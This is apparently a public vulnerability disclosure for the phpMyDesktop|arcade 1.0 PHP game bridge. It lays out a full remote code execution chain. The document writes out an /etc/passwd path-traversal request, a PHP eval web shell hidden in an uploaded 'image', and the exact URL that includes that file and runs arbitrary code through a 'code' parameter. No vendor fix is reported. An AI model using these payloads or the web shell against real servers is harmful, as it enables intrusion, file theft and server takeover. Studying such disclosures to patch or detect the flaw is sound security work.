phpMyDesktop|arcade 1.0 FINAL Code Execution
phpMyDesktop|arcade 1.0 FINAL
Code Execution Exploit
found-by: darkgod (darkgod.xsf@xxxxxxxxx)
links: criticalsecurity.NET, hackthissite.org, hacbloc.org
video-@: http://dgod.dajoob.com/videos/phpmydesktoparcade.rar
phpMyDesktop|arcade is a php-based 'bridge' between a game and message board.
Its got a very nice interface, and many customiseable options.
Unfortunately, it suffers from two [three.] vulnerabilities.
1. Images are not checked for validity.
This may not be a vuln in itself -- because code won't execute inside
images. But you could
mess with Internet Explorer, which in some versions allow HTML inside
of images.
2. GET variable 'subsite' not sanitized.
todo=showsubsite&subsite=../../../../../../../../../../../etc/passwd%00
(example.)
Now, how does this allow code execution, you ask?
We upload our image with content of: <?php eval(stripslashes($_GET['code'])); ?>
To upload, you must post in one of the blocks. It will NOT POST YOUR CONTENT.
This is because
it is trying first to create a thumbnail of your image, which is invalid, so it
will bork.
But the image still gets uploaded.
So, now we use the second vulnerability.
Firstly, we must get to the 'top' of the drive, and find our way back. Create
an error with it first,
so you can see the full path (let's say its /var/www/html/phpmydesktop1/.)
So, in order to get our code, you must do:
../../../../../../../../var/www/html/phpmydesktop1/uploads/images/imagename.jpg%00
And assuming you uploaded what I said, the file query (in your addressbar)
will look like:
/phpmydesktop1/index.php?todo=showsubsite&subsite=../../../../../../../../var/www/html/phpmydesktop1/uploads/images/imagename.jpg%00
And add a &code=print('h0n0r');
To execute any code you wish.
dgod.
Vulnerability Status:
Over at pmd-arcade.sourceforge.net, their contact & support page is down, so I
see no easy way of contacting them.